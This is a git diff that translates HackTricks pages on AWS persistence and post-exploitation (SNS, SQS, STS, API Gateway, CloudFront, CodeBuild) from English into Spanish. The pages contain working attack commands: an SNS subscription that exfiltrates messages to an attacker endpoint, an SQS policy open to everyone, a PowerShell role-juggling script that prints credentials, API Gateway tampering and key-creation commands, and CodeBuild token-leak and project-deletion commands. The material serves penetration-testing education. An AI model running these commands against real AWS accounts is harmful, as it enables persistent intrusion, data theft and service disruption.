+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
}
```
+### Crear Suscriptores
-### Create Subscribers
-
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+Para continuar exfiltrando todos los mensajes de todos los temas, el atacante podría **crear suscriptores para todos los temas**.
+Tenga en cuenta que si el **tema es de tipo FIFO**, solo se pueden utilizar suscriptores que usen el protocolo **SQS**.
```bash
aws sns subscribe --region \
- --protocol http \
- --notification-endpoint http:/// \
- --topic-arn
+--protocol http \
+--notification-endpoint http:/// \
+--topic-arn
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 88f396173..7921a2ea6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -4,40 +4,34 @@
## SQS
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
+### Usando política de recursos
+En SQS, necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
+La siguiente política le da a todos en AWS acceso a todo en la cola llamada **MyTestQueue**:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__owner_statement",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": ["SQS:*"],
- "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
}
```
-
> [!NOTE]
-> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se coloca un nuevo mensaje** en la cola (tendrías que volver a colocarlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index c1b9a422b..3bd0aae28 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1,6 +1 @@
# AWS - SSM Perssitence
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 4e8c120ff..ed58e994a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -1,25 +1,21 @@
-# AWS - Step Functions Persistence
+# AWS - Persistencia de Step Functions
{{#include ../../../banners/hacktricks-training.md}}
## Step Functions
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Step function Backdooring
+### Puerta trasera en funciones de paso
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
+Poner una puerta trasera en una función de paso para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos.
-### Backdooring aliases
+### Puertas traseras en alias
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
+Si la cuenta de AWS está utilizando alias para llamar a las funciones de paso, sería posible modificar un alias para usar una nueva versión con puerta trasera de la función de paso.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 74db04bec..f2b6ca136 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -4,62 +4,59 @@
## STS
-For more information access:
+Para más información accede a:
{{#ref}}
../aws-services/aws-sts-enum.md
{{#endref}}
-### Assume role token
+### Token de rol asumido
-Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
+Los tokens temporales no se pueden listar, por lo que mantener un token temporal activo es una forma de mantener la persistencia.
aws sts get-session-token --duration-seconds 129600
-# With MFA
+# Con MFA
aws sts get-session-token \
- --serial-number <mfa-device-name> \
- --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# El nombre del dispositivo de hardware suele ser el número de la parte posterior del dispositivo, como GAHT12345678
+# El nombre del dispositivo SMS es el ARN en AWS, como arn:aws:iam::123456789012:sms-mfa/username
+# El nombre del dispositivo virtual es el ARN en AWS, como arn:aws:iam::123456789012:mfa/username
-### Role Chain Juggling
+### Malabarismo de Cadenas de Roles
-[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
-
-You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
+[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizada para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales.
+Puedes usar esta [**herramienta**](https://github.com/hotnops/AWSRoleJuggler/) para mantener el encadenamiento de roles:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
optional arguments:
- -h, --help show this help message and exit
- -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
+-h, --help show this help message and exit
+-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
-
> [!CAUTION]
-> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
+> Tenga en cuenta que el script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ese repositorio de Github no encuentra todas las formas en que se puede configurar una cadena de roles.
-Code to perform Role Juggling from PowerShell
-
+Código para realizar Role Juggling desde PowerShell
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
- Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
- exit
+Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
+exit
}
# Function to list IAM roles
function List-IAMRoles {
- aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
+aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
}
# Initialize error count
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
# Attempt to assume each role
foreach ($role in $roles) {
- $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($credentials) {
- Write-Host "Successfully assumed role: $($role.RoleName)"
- Write-Host "Access Key: $($credentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
- Write-Host "Session Token: $($credentials.SessionToken)"
- Write-Host "Expiration: $($credentials.Expiration)"
+$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($credentials) {
+Write-Host "Successfully assumed role: $($role.RoleName)"
+Write-Host "Access Key: $($credentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
+Write-Host "Session Token: $($credentials.SessionToken)"
+Write-Host "Expiration: $($credentials.Expiration)"
- # Set temporary credentials to assume the next role
- $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
- $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
- $env:AWS_SESSION_TOKEN = $credentials.SessionToken
+# Set temporary credentials to assume the next role
+$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
+$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
+$env:AWS_SESSION_TOKEN = $credentials.SessionToken
- # Try to assume another role using the temporary credentials
- foreach ($nextRole in $roles) {
- if ($nextRole.Arn -ne $role.Arn) {
- $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($nextCredentials) {
- Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
- Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
- Write-Host "Session Token: $($nextCredentials.SessionToken)"
- Write-Host "Expiration: $($nextCredentials.Expiration)"
- }
- } catch {
- $errorCount++
- }
- }
- }
+# Try to assume another role using the temporary credentials
+foreach ($nextRole in $roles) {
+if ($nextRole.Arn -ne $role.Arn) {
+$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($nextCredentials) {
+Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
+Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
+Write-Host "Session Token: $($nextCredentials.SessionToken)"
+Write-Host "Expiration: $($nextCredentials.Expiration)"
+}
+} catch {
+$errorCount++
+}
+}
+}
- # Reset environment variables
- Remove-Item Env:\AWS_ACCESS_KEY_ID
- Remove-Item Env:\AWS_SECRET_ACCESS_KEY
- Remove-Item Env:\AWS_SESSION_TOKEN
- } else {
- $errorCount++
- }
- } catch {
- $errorCount++
- }
+# Reset environment variables
+Remove-Item Env:\AWS_ACCESS_KEY_ID
+Remove-Item Env:\AWS_SECRET_ACCESS_KEY
+Remove-Item Env:\AWS_SESSION_TOKEN
+} else {
+$errorCount++
+}
+} catch {
+$errorCount++
+}
}
# Output the number of errors if any
if ($errorCount -gt 0) {
- Write-Host "$errorCount error(s) occurred during role assumption attempts."
+Write-Host "$errorCount error(s) occurred during role assumption attempts."
} else {
- Write-Host "No errors occurred. All roles checked successfully."
+Write-Host "No errors occurred. All roles checked successfully."
}
Write-Host "Role juggling check complete."
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
index 53f79d916..9779204c1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
@@ -1,6 +1 @@
-# AWS - Post Exploitation
-
-
-
-
-
+# AWS - Post Explotación
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 4847c40e0..b284a9fb4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -1,51 +1,46 @@
-# AWS - API Gateway Post Exploitation
+# AWS - API Gateway Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Access unexposed APIs
+### Acceso a APIs no expuestas
-You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
-Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
+Puedes crear un endpoint en [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con el servicio `com.amazonaws.us-east-1.execute-api`, exponer el endpoint en una red a la que tengas acceso (potencialmente a través de una máquina EC2) y asignar un grupo de seguridad que permita todas las conexiones.\
+Luego, desde la máquina EC2 podrás acceder al endpoint y, por lo tanto, llamar a la API del gateway que no estaba expuesta anteriormente.
### Bypass Request body passthrough
-This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Esta técnica se encontró en [**este informe de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
-As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
-
-Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
+Como se indica en la [**documentación de AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) en la sección `PassthroughBehavior`, por defecto, el valor **`WHEN_NO_MATCH`**, al verificar el encabezado **Content-Type** de la solicitud, pasará la solicitud al backend sin transformación.
+Por lo tanto, en el CTF, el API Gateway tenía una plantilla de integración que **estaba impidiendo que la bandera fuera exfiltrada** en una respuesta cuando se enviaba una solicitud con `Content-Type: application/json`:
```yaml
RequestTemplates:
- application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
+Sin embargo, enviar una solicitud con **`Content-type: text/json`** evitaría ese filtro.
-However, sending a request with **`Content-type: text/json`** would prevent that filter.
-
-Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
-
+Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta de dynamoDB arbitraria sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
+### Uso de Planes DoS
-### Usage Plans DoS
+En la sección de **Enumeración** puedes ver cómo **obtener el plan de uso** de las claves. Si tienes la clave y está **limitada** a X usos **por mes**, podrías **simplemente usarla y causar un DoS**.
-In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
-
-The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
+La **API Key** solo necesita ser **incluida** dentro de un **encabezado HTTP** llamado **`x-api-key`**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+Un atacante con los permisos `apigateway:UpdateGatewayResponse` y `apigateway:CreateDeployment` puede **modificar una respuesta de Gateway existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
> [!NOTE]
-> Need testing
+> Necesita pruebas
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
-
+Un atacante con los permisos `apigateway:UpdateStage` y `apigateway:CreateDeployment` puede **modificar una etapa existente de API Gateway para redirigir el tráfico a una etapa diferente o cambiar la configuración de caché para obtener acceso no autorizado a datos en caché**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
+**Impacto Potencial**: Acceso no autorizado a datos en caché, interrumpiendo o interceptando el tráfico de la API.
> [!NOTE]
-> Need testing
+> Necesita pruebas
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+Un atacante con los permisos `apigateway:PutMethodResponse` y `apigateway:CreateDeployment` puede **modificar la respuesta del método de un método de API Gateway REST API existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
> [!NOTE]
-> Need testing
+> Necesita pruebas
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
-
+Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API REST de API Gateway para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**.
```bash
API_ID="your-api-id"
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
+**Impacto Potencial**: Debilitar la seguridad de la API, permitiendo potencialmente el acceso no autorizado o exponiendo información sensible.
> [!NOTE]
-> Need testing
+> Necesita pruebas
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
-
+Un atacante con permisos `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` y `apigateway:CreateUsagePlanKey` puede **crear nuevas claves de API, asociarlas con planes de uso y luego usar estas claves para acceder no autorizado a las APIs**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
+**Impacto Potencial**: Acceso no autorizado a recursos de API, eludiendo controles de seguridad.
-**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
-
-> [!NOTE]
-> Need testing
+> [!NOTA]
+> Necesita pruebas
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 4a3c4ff21..a59409efd 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -1,35 +1,31 @@
-# AWS - CloudFront Post Exploitation
+# AWS - CloudFront Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
## CloudFront
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-cloudfront-enum.md
{{#endref}}
-### Man-in-the-Middle
+### Hombre-en-el-Medio
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
+Esta [**entrada de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes donde se podría agregar (o modificar si ya se está utilizando) una **Lambda** en una **comunicación a través de CloudFront** con el propósito de **robar** información del usuario (como la **cookie** de sesión) y **modificar** la **respuesta** (inyectando un script JS malicioso).
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+#### escenario 1: MitM donde CloudFront está configurado para acceder a algún HTML de un bucket
-- **Create** the malicious **function**.
-- **Associate** it with the CloudFront distribution.
-- Set the **event type to "Viewer Response"**.
+- **Crear** la **función** maliciosa.
+- **Asociarla** con la distribución de CloudFront.
+- Establecer el **tipo de evento en "Viewer Response"**.
-Accessing the response you could steal the users cookie and inject a malicious JS.
+Accediendo a la respuesta podrías robar la cookie de los usuarios e inyectar un JS malicioso.
-#### scenario 2: MitM where CloudFront is already using a lambda function
+#### escenario 2: MitM donde CloudFront ya está utilizando una función lambda
-- **Modify the code** of the lambda function to steal sensitive information
+- **Modificar el código** de la función lambda para robar información sensible.
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Puedes consultar el [**código tf para recrear estos escenarios aquí**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 54be4e299..a826c330d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -1,88 +1,76 @@
-# AWS - CodeBuild Post Exploitation
+# AWS - CodeBuild Post Explotación
{{#include ../../../../banners/hacktricks-training.md}}
## CodeBuild
-For more information, check:
+Para más información, consulta:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
-### Check Secrets
+### Verificar Secretos
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
+Si se han configurado credenciales en Codebuild para conectarse a Github, Gitlab o Bitbucket en forma de tokens personales, contraseñas o acceso a tokens OAuth, estas **credenciales se almacenarán como secretos en el administrador de secretos**.\
+Por lo tanto, si tienes acceso para leer el administrador de secretos, podrás obtener estos secretos y pivotar a la plataforma conectada.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
{{#endref}}
-### Abuse CodeBuild Repo Access
+### Abusar del Acceso al Repositorio de CodeBuild
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
+Para configurar **CodeBuild**, necesitará **acceso al repositorio de código** que va a utilizar. Varias plataformas podrían estar alojando este código:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
+El **proyecto de CodeBuild debe tener acceso** al proveedor de origen configurado, ya sea a través de **rol de IAM** o con un **token de github/bitbucket o acceso OAuth**.
-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
+Un atacante con **permisos elevados en un CodeBuild** podría abusar de este acceso configurado para filtrar el código del repositorio configurado y otros a los que las credenciales establecidas tienen acceso.\
+Para hacer esto, un atacante solo necesitaría **cambiar la URL del repositorio a cada repositorio al que las credenciales de configuración tienen acceso** (ten en cuenta que la web de aws listará todos ellos para ti):
-And **change the Buildspec commands to exfiltrate each repo**.
+Y **cambiar los comandos de Buildspec para exfiltrar cada repositorio**.
> [!WARNING]
-> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-> Or does he? Check the next section
+> Sin embargo, esta **tarea es repetitiva y tediosa** y si se configuró un token de github con **permisos de escritura**, un atacante **no podrá (ab)usar esos permisos** ya que no tiene acceso al token.\
+> ¿O sí? Consulta la siguiente sección
-### Leaking Access Tokens from AWS CodeBuild
-
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
+### Filtrando Tokens de Acceso desde AWS CodeBuild
+Puedes filtrar el acceso otorgado en CodeBuild a plataformas como Github. Verifica si se otorgó acceso a plataformas externas con:
```bash
aws codebuild list-source-credentials
```
-
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
### `codebuild:DeleteProject`
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
+Un atacante podría eliminar un proyecto completo de CodeBuild, causando la pérdida de la configuración del proyecto e impactando las aplicaciones que dependen del proyecto.
```bash
aws codebuild delete-project --name
```
+**Impacto Potencial**: Pérdida de la configuración del proyecto y interrupción del servicio para las aplicaciones que utilizan el proyecto eliminado.
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
-
-### `codebuild:TagResource` , `codebuild:UntagResource`
-
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
+### `codebuild:TagResource`, `codebuild:UntagResource`
+Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de CodeBuild, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
